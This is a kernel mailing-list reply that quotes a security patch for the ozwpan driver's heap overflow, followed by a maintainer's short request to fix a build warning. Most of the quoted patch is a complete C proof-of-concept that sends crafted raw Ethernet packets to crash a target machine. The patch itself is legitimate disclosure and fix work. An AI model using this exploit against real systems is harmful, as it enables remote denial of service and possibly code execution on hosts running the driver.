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SubjectRe: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
On Wed, May 13, 2015 at 08:58:17PM +0200, Jason A. Donenfeld wrote:
> Since elt->length is a u8, we can make this variable a u8. Then we can
> do proper bounds checking more easily. Without this, a potentially
> negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> resulting in a remotely exploitable heap overflow with network
> supplied data.
>
> This could result in remote code execution. A PoC which obtains DoS
> follows below. It requires the ozprotocol.h file from this module.
>
> =-=-=-=-=-=
>
> #include <arpa/inet.h>
> #include <linux/if_packet.h>
> #include <net/if.h>
> #include <netinet/ether.h>
> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> #include <endian.h>
> #include <sys/ioctl.h>
> #include <sys/socket.h>
>
> #define u8 uint8_t
> #define u16 uint16_t
> #define u32 uint32_t
> #define __packed __attribute__((__packed__))
> #include "ozprotocol.h"
>
> static int hex2num(char c)
> {
> if (c >= '0' && c <= '9')
> return c - '0';
> if (c >= 'a' && c <= 'f')
> return c - 'a' + 10;
> if (c >= 'A' && c <= 'F')
> return c - 'A' + 10;
> return -1;
> }
> static int hwaddr_aton(const char *txt, uint8_t *addr)
> {
> int i;
> for (i = 0; i < 6; i++) {
> int a, b;
> a = hex2num(*txt++);
> if (a < 0)
> return -1;
> b = hex2num(*txt++);
> if (b < 0)
> return -1;
> *addr++ = (a << 4) | b;
> if (i < 5 && *txt++ != ':')
> return -1;
> }
> return 0;
> }
>
> int main(int argc, char *argv[])
> {
> if (argc < 3) {
> fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
> return 1;
> }
>
> uint8_t dest_mac[6];
> if (hwaddr_aton(argv[2], dest_mac)) {
> fprintf(stderr, "Invalid mac address.\n");
> return 1;
> }
>
> int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
> if (sockfd < 0) {
> perror("socket");
> return 1;
> }
>
> struct ifreq if_idx;
> int interface_index;
> strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
> if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
> perror("SIOCGIFINDEX");
> return 1;
> }
> interface_index = if_idx.ifr_ifindex;
> if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
> perror("SIOCGIFHWADDR");
> return 1;
> }
> uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
>
> struct {
> struct ether_header ether_header;
> struct oz_hdr oz_hdr;
> struct oz_elt oz_elt;
> struct oz_elt_connect_req oz_elt_connect_req;
> } __packed connect_packet = {
> .ether_header = {
> .ether_type = htons(OZ_ETHERTYPE),
> .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
> .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> },
> .oz_hdr = {
> .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
> .last_pkt_num = 0,
> .pkt_num = htole32(0)
> },
> .oz_elt = {
> .type = OZ_ELT_CONNECT_REQ,
> .length = sizeof(struct oz_elt_connect_req)
> },
> .oz_elt_connect_req = {
> .mode = 0,
> .resv1 = {0},
> .pd_info = 0,
> .session_id = 0,
> .presleep = 35,
> .ms_isoc_latency = 0,
> .host_vendor = 0,
> .keep_alive = 0,
> .apps = htole16((1 << OZ_APPID_USB) | 0x1),
> .max_len_div16 = 0,
> .ms_per_isoc = 0,
> .up_audio_buf = 0,
> .ms_per_elt = 0
> }
> };
>
> struct {
> struct ether_header ether_header;
> struct oz_hdr oz_hdr;
> struct oz_elt oz_elt;
> struct oz_get_desc_rsp oz_get_desc_rsp;
> } __packed pwn_packet = {
> .ether_header = {
> .ether_type = htons(OZ_ETHERTYPE),
> .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
> .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> },
> .oz_hdr = {
> .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
> .last_pkt_num = 0,
> .pkt_num = htole32(1)
> },
> .oz_elt = {
> .type = OZ_ELT_APP_DATA,
> .length = sizeof(struct oz_get_desc_rsp) - 2
> },
> .oz_get_desc_rsp = {
> .app_id = OZ_APPID_USB,
> .elt_seq_num = 0,
> .type = OZ_GET_DESC_RSP,
> .req_id = 0,
> .offset = htole16(0),
> .total_size = htole16(0),
> .rcode = 0,
> .data = {0}
> }
> };
>
> struct sockaddr_ll socket_address = {
> .sll_ifindex = interface_index,
> .sll_halen = ETH_ALEN,
> .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> };
>
> if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
> perror("sendto");
> return 1;
> }
> usleep(300000);
> if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
> perror("sendto");
> return 1;
> }
> return 0;
> }
>
> Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
> ---
> drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
> 1 file changed, 3 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> index d434d8c..cd6c63e 100644
> --- a/drivers/staging/ozwpan/ozusbsvc1.c
> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
> case OZ_GET_DESC_RSP: {
> struct oz_get_desc_rsp *body =
> (struct oz_get_desc_rsp *)usb_hdr;
> - int data_len = elt->length -
> + u8 data_len = elt->length -
> sizeof(struct oz_get_desc_rsp) + 1;
> + if (data_len > elt->length)
> + break;
> u16 offs = le16_to_cpu(get_unaligned(&body->offset));
> u16 total_size =
> le16_to_cpu(get_unaligned(&body->total_size));

This patch adds a build warning. Please fix it up and resend the
series.

thanks,

greg k-h


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